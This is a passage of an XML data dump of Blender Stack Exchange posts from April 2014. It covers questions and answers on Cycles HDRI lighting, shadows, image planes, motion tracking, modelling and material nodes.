rel=&quot;noreferrer&quot;&gt;HDRI Hub&lt;/a&gt; is one. You can also see many &lt;a href=&quot;https://www.google.com/search?q=hdri&amp;amp;num=100&amp;amp;safe=off&amp;amp;rlz=1C5CHFA_enUS511US512&amp;amp;es_sm=119&amp;amp;tbm=isch&amp;amp;tbo=u&amp;amp;source=univ&amp;amp;sa=X&amp;amp;ei=-FlcU73JLO7MsQTzo4CwBA&amp;amp;ved=0CDwQsAQ&amp;amp;biw=1048&amp;amp;bih=647&quot; rel=&quot;noreferrer&quot;&gt;examples in Google&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's how to set one up in your scene in Cycles:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Make sure you are using the Cycles Render engine and &lt;strong&gt;make sure you are in perspective view, if not press (Numpad-5),&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lkwcd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set your World's Surface to an Environment Texture and use an HDR image for the background.  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Object Properties&lt;/em&gt; window &gt; &lt;em&gt;World&lt;/em&gt; tab &gt; &lt;em&gt;Surface&lt;/em&gt; section &gt; click &lt;em&gt;Use Nodes&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;For &lt;em&gt;Color&lt;/em&gt;, click on the options button ( &lt;img src=&quot;https://i.stack.imgur.com/EQtd9.png&quot; alt=&quot;enter image description here&quot;&gt; ), then select &lt;em&gt;Environment Texture&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Then click &lt;em&gt;Open&lt;/em&gt; and select your HDRI file. Here, I'm using &quot;Street in the woods&quot;: &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/udW5X.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;However, in order to see your background image while working on your scene, you &lt;strong&gt;MUST&lt;/strong&gt; be looking through your Camera (press &lt;kbd&gt;Numpad 0&lt;/kbd&gt; to switch to it) and also you have to set the 3D Viewport Shading to &lt;em&gt;Rendered&lt;/em&gt;: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UT61o.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now when you render your scene, your background image will be visible wherever you point the camera.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2173" LastEditorDisplayName="user1853" LastEditDate="2018-02-06T16:55:14.100" LastActivityDate="2018-02-06T16:55:14.100" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8930" PostTypeId="1" AcceptedAnswerId="8931" CreationDate="2014-04-27T02:54:04.120" Score="22" ViewCount="28127" Body="&lt;p&gt;I want to make certain shadows more prominent (using Cycles) without further illuminating the rest of the scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: I have a simple studio with a bowl of fruit and 3-point lighting.  The light looks great so I don't want to change it but I want the bowl to cast a darker shadow on the ground (&lt;em&gt;without&lt;/em&gt; dimming the back-light).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, and this would be really cool, an anti-light source.  Like a spot light that throws darkness instead of light. (Am I crazy for wanting this?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="3292" LastActivityDate="2018-03-05T16:38:28.770" Title="How can I cast artificially darker shadows?" Tags="&lt;cycles-render-engine&gt;&lt;light&gt;" AnswerCount="7" CommentCount="0" FavoriteCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="8931" PostTypeId="2" ParentId="8930" CreationDate="2014-04-27T03:06:36.870" Score="13" Body="&lt;p&gt;You have three options.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;You could add a light that is only visible to the shadow path, so it won't add any light, but it will cast shadows.  If you're happy with the scene otherwise, you should duplicate one of the existing lights and move it forward or back just a touch.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Another option is to add a &quot;negative light&quot;, where you add a light with a color of white, and a negative value for the strength.  There aren't such things in real life (except maybe black-holes) but for some lighting effects it is a neat trick to add darkness.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Lastly you could do something with render layers, and render passes to get the shadow on it's own render layer and then control how dark it is during composting.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2937" LastEditorUserId="2937" LastEditDate="2014-04-28T19:32:18.763" LastActivityDate="2014-04-28T19:32:18.763" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8933" PostTypeId="1" CreationDate="2014-04-27T05:46:46.837" Score="3" ViewCount="2419" Body="&lt;p&gt;How do I import a *.gif though gimp, onto a plane, in blender. Once I import the image file onto a plane, how do see the image on the plane.&lt;/p&gt;&#xA;" OwnerUserId="3283" LastActivityDate="2014-04-30T05:52:43.250" Title="Images as Planes, can not see the image on the plane" Tags="&lt;modeling&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8934" PostTypeId="1" AcceptedAnswerId="8969" CreationDate="2014-04-27T06:28:04.660" Score="6" ViewCount="13112" Body="&lt;p&gt;I added tracks and stuff, but then when I tried to solve motion track, there was a error that said:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Some Data Failed to Reconstruct&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and it also said to look into the console for details, which I did. This is what the console said:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QmHNZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By my understanding, my video is 372 frames long, and Blender is cutting the footage at 318 for some reason. Here is the image of the scene:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Nc46B.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why? Here are links to &lt;a href=&quot;http://www.mediafire.com/download/jcpxv1myy3usgvj/Jump_2nd_Try.blend&quot; rel=&quot;nofollow noreferrer&quot;&gt;my .blend file&lt;/a&gt; and also &lt;a href=&quot;http://www.mediafire.com/download/u48ql1tk998l2m6/IMG_0991.MOV&quot; rel=&quot;nofollow noreferrer&quot;&gt;my video&lt;/a&gt;. Also the next morning I did a camera solve, but then most of the frames went red.&lt;/p&gt;&#xA;" OwnerUserId="2874" LastEditorUserId="3710" LastEditDate="2016-08-19T10:38:44.223" LastActivityDate="2016-08-19T10:38:44.223" Title="Some Data Failed to Reconstruct, Motion Tracking" Tags="&lt;camera&gt;&lt;video&gt;&lt;tracking&gt;" AnswerCount="1" CommentCount="8" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8935" PostTypeId="2" ParentId="8933" CreationDate="2014-04-27T09:22:16.730" Score="3" Body="&lt;p&gt;Blender does not support .GIF files you could e.g. export to &lt;a href=&quot;https://en.wikipedia.org/wiki/Portable_Network_Graphics&quot; rel=&quot;nofollow noreferrer&quot;&gt;.PNG&lt;/a&gt; from &lt;em&gt;Gimp&lt;/em&gt; (PNG has also lossless compression and transparency) For all available formats see &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Data_System/Files/Formats&quot; rel=&quot;nofollow noreferrer&quot;&gt;Formats&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The easiest way is to enable the &lt;em&gt;Import Images as Planes&lt;/em&gt; addon. You find it in the menu: &lt;em&gt;File / User Preferences&lt;/em&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JG21V.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After enabling use &lt;em&gt;File / Import / Images as Planes&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To see the texture you need to set the viewports shading mode to &lt;em&gt;Texture&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MBmSW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Behind the scenes the addon has created a plane added a material with an image texture you can check this in the materials properties:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OmEWw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: For best performance the dimension of a texture should be a &lt;a href=&quot;http://www.katsbits.com/tutorials/textures/make-better-textures-correct-size-and-power-of-two.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;power of 2&lt;/a&gt; (128x128px, 256x256px etc.)&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2014-04-28T15:01:11.093" LastActivityDate="2014-04-28T15:01:11.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8936" PostTypeId="1" CreationDate="2014-04-27T10:10:15.817" Score="1" ViewCount="3128" Body="&lt;p&gt;So I've noticed that if I've been playing in Blender Render and I switch to cycles after some mesh objects are created etc. in the the scene that many times NOTHING renders or almost nothing.  Why is this?  Are you not supposed to switch these back an fourth off and on?&lt;/p&gt;&#xA;" OwnerUserId="3280" LastActivityDate="2014-04-27T22:54:26.053" Title="Does Switching From Blender Render To Cycles Mess Things Up?" Tags="&lt;cycles-render-engine&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8937" PostTypeId="2" ParentId="8930" CreationDate="2014-04-27T10:49:56.917" Score="1" Body="&lt;p&gt;You can modify the materials properties of the table so that the shadows cast on it are darker.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you turn down the shader for 'ambient' and turn it up for 'diffuse' then you will have your higher contrast shadow. You will also be able to do this without adding contrivances to your scene (e.g. magic invisible negative lights).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;info here:&#xA;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Materials/Properties/Ambient_Light_Effect&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Doc:2.6/Manual/Materials/Properties/Ambient_Light_Effect&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3294" LastEditorDisplayName="user1853" LastEditDate="2014-04-27T23:48:57.423" LastActivityDate="2014-04-27T23:48:57.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8938" PostTypeId="1" CreationDate="2014-04-27T10:57:38.900" Score="3" ViewCount="444" Body="&lt;p&gt;What is the official name for this button/icon: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VjYUk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's found in many places throughout Blender: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Im1ri.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;img src=&quot;https://i.stack.imgur.com/UM1CO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't find it anywhere in the manual.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you know, can you please cite the source for your information (i.e. a page from the Blender Manual) because I'd like to read about it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="29" LastEditDate="2014-04-27T12:01:29.100" LastActivityDate="2014-04-27T14:53:34.560" Title="What is the official name for this icon/button?" Tags="&lt;cycles-render-engine&gt;&lt;interface&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8939" PostTypeId="2" ParentId="8938" CreationDate="2014-04-27T12:51:04.593" Score="1" Body="&lt;p&gt;Not sure if it documented anywhere in the manual but it looks like it is using icon ID of &lt;code&gt;LAYER_USED&lt;/code&gt;. That is the same icon shown in the 3dview header to show that something is on that layer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A popup menu normally has two arrows but the cycles materials where this is shown are used for node links and line &lt;a href=&quot;https://developer.blender.org/diffusion/B/browse/master/source/blender/editors/interface/interface_widgets.c&quot; rel=&quot;nofollow&quot;&gt;1380 of interface_widgets.c&lt;/a&gt; supports that theory. What the if statement surrounding that line says is if it is drawing a menu and it is flagged as a node link it draws the layer used icon which elsewhere would also prevent the two little arrows being drawn, that matches with the cycles material display.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other places &lt;code&gt;LAYER_USED&lt;/code&gt; can be found is in the addons - Layer Manager, Node Wrangler and PowerLib.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would appear that the use you have shown is unique to the cycles material display as part of a popup menu and is hard coded that way. From an addon usage we don't get direct access to show it as part of a popup menu, I haven't tried but you may be able to flag the menu as a node link to make it work.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-04-27T12:51:04.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8940" PostTypeId="1" CreationDate="2014-04-27T14:49:05.880" Score="1" ViewCount="1590" Body="&lt;p&gt;I have a scene where a large number of redundant cycles materials have accumulated. I'd like to have them removed so that there's nothing left remaining in the materials slots at all.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/bDWBI.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried all the methods I could find of deleting them so that they don't show up in the slots like this but none have worked so far.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is selecting all objects w an active object as well and 'copy material to others', saving, closing re-opening, no luck. And the Ctrl L method as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="2497" LastActivityDate="2014-04-27T15:21:14.203" Title="Clear Blender materials slots" Tags="&lt;materials&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2014-04-27T20:03:22.317" ContentLicense="CC BY-SA 3.0" />
  <row Id="8941" PostTypeId="2" ParentId="8938" CreationDate="2014-04-27T14:53:34.560" Score="3" Body="&lt;p&gt;Andrew Price called it &quot;Dot Symbol&quot; button:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://youtu.be/xYiiD-p2q80?t=8m58s&quot; rel=&quot;nofollow&quot;&gt;http://youtu.be/xYiiD-p2q80?t=8m58s&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would call the particular ones you show &quot;Node Material Properties Dropdown Buttons&quot; to be honest. I'm not sure why a differnet icon is used here, using a symbol not &quot;universaly understood&quot; like Andrew said.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-04-27T14:53:34.560" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8942" PostTypeId="2" ParentId="8940" CreationDate="2014-04-27T15:21:14.203" Score="1" Body="&lt;p&gt;You can try using the follow script &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/3D_interaction/Materials_Utils&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/3D_interaction/Materials_Utils&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope that script be of help for you&lt;/p&gt;&#xA;" OwnerUserId="3297" LastActivityDate="2014-04-27T15:21:14.203" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8943" PostTypeId="1" AcceptedAnswerId="8944" CreationDate="2014-04-27T15:39:04.137" Score="5" ViewCount="438" Body="&lt;p&gt;I'm trying to model a black piano key using Blender but I'm facing some difficulties when trying to recreate the rounded upper front edges of the black key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://www.klangfix.se/bilder/tangent-svart.jpg&quot; alt=&quot;Picture of a black piano key&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The closest I have come to achieving this is by first beveling the two front upper vertices in the corners using the &lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;Shift&lt;/kbd&gt; &lt;kbd&gt;B&lt;/kbd&gt; command. Then beveling all edges except the edges of the rounded corners. However, as you can see, the subdivided result is far from perfect!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BBO3P.jpg&quot; alt=&quot;Start&quot;&gt; &lt;img src=&quot;https://i.stack.imgur.com/3moxI.jpg&quot; alt=&quot;Beveled vertices&quot;&gt; &lt;img src=&quot;https://i.stack.imgur.com/4XWyt.jpg&quot; alt=&quot;Beveled edges&quot;&gt; &lt;img src=&quot;https://i.stack.imgur.com/ulbpk.jpg&quot; alt=&quot;Subdivided&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe I should try a completely different approach? What do you Blender experts make of this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for any kind of input!&lt;/p&gt;&#xA;" OwnerUserId="3299" LastEditorUserId="32220" LastEditDate="2019-01-07T11:54:01.513" LastActivityDate="2019-01-07T11:54:01.513" Title="How to achieve the round corners of a black piano key?" Tags="&lt;modeling&gt;&lt;topology&gt;" AnswerCount="1" CommentCount="2" ClosedDate="2014-04-29T18:02:57.867" ContentLicense="CC BY-SA 4.0" />
  <row Id="8944" PostTypeId="2" ParentId="8943" CreationDate="2014-04-27T16:39:14.627" Score="4" Body="&lt;p&gt;The algorithm used for subdivision surfaces works best with quads. You have many n-gons in your mesh, which will lead to artifacts.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ASdzb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should at least convert the front and top face to quads. You can do that in two steps: select the top and front face and press [Ctrl+T] to triangulate them.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/F3J9p.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/YnaQS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now select two triangles that you want to merge to a quad and press [Alt+J]. Repeat until you have no more triangles.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/kLDOh.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/3DKgQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To keep the edges sharper, add a bevel modifier on top of the subsurf. Now you can control the roundness / sharpness through the bevel's &quot;Width&quot; parameter.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/RTAEJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The result should look like this:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/qu3Xw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3089" LastActivityDate="2014-04-27T16:39:14.627" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8945" PostTypeId="1" AcceptedAnswerId="8947" CreationDate="2014-04-27T17:17:22.310" Score="3" ViewCount="261" Body="&lt;p&gt;I'm trying to use the script &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Add_Mesh/Add_3d_Function_Surface&quot; rel=&quot;nofollow&quot;&gt;Add 3D Function Surface&lt;/a&gt; (specifically the Add X,Y,Z Function Surface feature) to produce some mathematical models for 3d printing.  The formulas for my paraemtrized surfaces are very long --- one of the simpler ones has over 4,000 characters.  Unfortunately, it appears that I can only paste 400 characters into each of the script parameter boxes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to get Blender to accept longer strings for each formula parameter?  I'd be willing to run the script from the command line, but I haven't figured out how to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running Blender 2.70 on a mac.  I'm also completely new to Blender, so let me know if there's additional information I can provide that will help.  Thanks in advance :-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bug report: &lt;a href=&quot;https://developer.blender.org/T39924&quot; rel=&quot;nofollow&quot;&gt;https://developer.blender.org/T39924&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3300" LastEditorUserId="1363" LastEditDate="2014-04-28T10:08:09.053" LastActivityDate="2014-04-28T10:09:40.683" Title="Pasting long strings into the script parameters for Add 3D Function Surface?" Tags="&lt;scripting&gt;&lt;mesh&gt;&lt;add-on&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8946" PostTypeId="2" ParentId="8930" CreationDate="2014-04-27T17:27:22.837" Score="13" Body="&lt;p&gt;Using &lt;strong&gt;Light Paths&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without adding any more lights to the scene, you can play with the light paths node for the existing lights.&#xA;For example, in this scene with only one light source and no ambient lighting the darkness of the shadows is determined by the light bouncing on other objects.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/mF9PU.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;By adding a light path node to the light, you can separate direct light (green) and indirect lighting (red) using with two different emitter shaders in the same light.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/vwbUf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By moving the values on the emitter, now you can control how dark your shadows are. You can even use negative values!&#xA;&lt;img src=&quot;https://i.stack.imgur.com/FCc1c.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for additional info on light paths check out Bartek Skorupa's tutorial:&#xA;&lt;a href=&quot;http://cgcookie.com/blender/2013/02/26/blender-cycles-light-path-node/&quot; rel=&quot;noreferrer&quot;&gt;http://cgcookie.com/blender/2013/02/26/blender-cycles-light-path-node/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2018-03-05T15:46:13.450" LastActivityDate="2018-03-05T15:46:13.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8947" PostTypeId="2" ParentId="8945" CreationDate="2014-04-27T17:28:44.023" Score="4" Body="&lt;p&gt;I can't see any &lt;code&gt;maxlen&lt;/code&gt; parameters in the script:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gitorious.org/blender-scripts/blender-3d-function-surface/source/add_mesh_3d_function_surface.py&quot; rel=&quot;nofollow&quot;&gt;https://gitorious.org/blender-scripts/blender-3d-function-surface/source/add_mesh_3d_function_surface.py&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And on Windows using Blender 2.70, I can store at least 1,000,000,000 characters in a &lt;code&gt;StringProperty()&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; C.scene.p = &quot;x&quot;*1000000000&#xA;&amp;gt;&amp;gt;&amp;gt; len(C.scene.p)&#xA;1000000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem here is that there's a limit at layout level of 399 chars. You can actually type 400 and more letters into a text field, but you won't see the characters appear!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you paste from clipboard, only the first 399 characters are taken. You can circumvent it by using python:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Go to &lt;em&gt;Scripting&lt;/em&gt; screen&lt;/li&gt;&#xA;&lt;li&gt;Call the &lt;em&gt;XYZ Math Surface&lt;/em&gt; operator (parameter fields appear in &lt;em&gt;Redo&lt;/em&gt; panel)&lt;/li&gt;&#xA;&lt;li&gt;Create a new text datablock in the &lt;em&gt;Text Editor&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Add the following (substitute &lt;code&gt;x_eq&lt;/code&gt; for the other equation fields):&lt;br&gt;&lt;code&gt;import bpy&lt;/code&gt;&lt;br&gt;&lt;code&gt;bpy.context.active_operator.x_eq = &quot;&quot;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Place the cursor between the two &lt;code&gt;&quot;&quot;&lt;/code&gt; quote marks and paste your formula&lt;/li&gt;&#xA;&lt;li&gt;Click &lt;em&gt;Run Script&lt;/em&gt; or hit &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt; - it will assign the formula text to the operator's parameter field.&lt;/li&gt;&#xA;&lt;li&gt;Click e.g. the handle of the &lt;em&gt;U min&lt;/em&gt; property in the Redo to panel to force an update (it will not change the mesh based on the manually set equation automatically!). Don't activate any of the equation fields, it may truncate them again!&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="1363" LastEditDate="2014-04-28T10:09:40.683" LastActivityDate="2014-04-28T10:09:40.683" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="8949" PostTypeId="2" ParentId="8924" CreationDate="2014-04-27T19:06:55.787" Score="3" Body="&lt;p&gt;Make sure Blender's interface is set to &quot;Blender Game&quot; (usualy in the top of the blender window):&#xA;&lt;img src=&quot;https://i.stack.imgur.com/luKm7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then go to the &quot;Render&quot; settings in the properties panel. Under &quot;Standalone Player&quot; you can set the antialiasing samples:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/qgFWE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you also want to enable Antialiasing in the viewport, which also affects the embedded player, you have to set it in the user preferences. Press [Ctrl+Alt+U] to open the User Preferences window. Then go to System and set Multisample to your desired AA factor. &#xA;You may have to restart blender for this setting to take effect.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/SN6v3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3089" LastEditorUserId="3089" LastEditDate="2014-04-27T21:02:28.607" LastActivityDate="2014-04-27T21:02:28.607" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="8950" PostTypeId="1" CreationDate="2014-04-27T22:26:51.410" Score="2" ViewCount="59" Body="&lt;p&gt;Ok So I have multiple pieces of text in the sky and they are falling down on a rigid body plane (the floor) and it's set to passive not active.  The problem is I don't want ALL of the text to hit the floor at the same time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 3D text is set as rigid too and it's set as active (so it falls).  The way I've gotten text to hit the floor at different times is by simply varying the heights of the text falling (text closer to the passive rigid plane will hit first).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't like this though.  I wish there was some way using keyframes etc. that I could change from passive to active so I could control exactly when the 3D text would start falling.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to do that?  Thanks guys&lt;/p&gt;&#xA;" OwnerUserId="3280" LastActivityDate="2014-04-28T03:02:59.760" Title="Best Way To Add Text Falling From The Sky In Order?" Tags="&lt;text-object&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2014-04-28T08:56:10.527" ContentLicense="CC BY-SA 3.0" />
  <row Id="8951" PostTypeId="2" ParentId="8936" CreationDate="2014-04-27T22:48:49.763" Score="3" Body="&lt;p&gt;All matierals in cycles use nodes (even if you set up the material in the &lt;em&gt;Properties&lt;/em&gt; panel, it will create nodes in the node editor).&lt;/p&gt;&#xA;&lt;p&gt;Since BI materials don't use nodes by default, when you switch to cycles from BI there won't be any BI nodes in the node tree, yet nodes will be enabled. This will make the material render as transparent.&lt;/p&gt;&#xA;&lt;p&gt;You can disable nodes (this will restore the old BI material settings, and it will not delete any nodes) by:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Pressing the node icon in the &lt;em&gt;Materials&lt;/em&gt; panel:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZWks6.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Disabling the checkbox in &lt;em&gt;Node editor &amp;gt; Header&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Q6BdF.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;If you want to make a single material which works for both BI and Cycles, see &lt;a 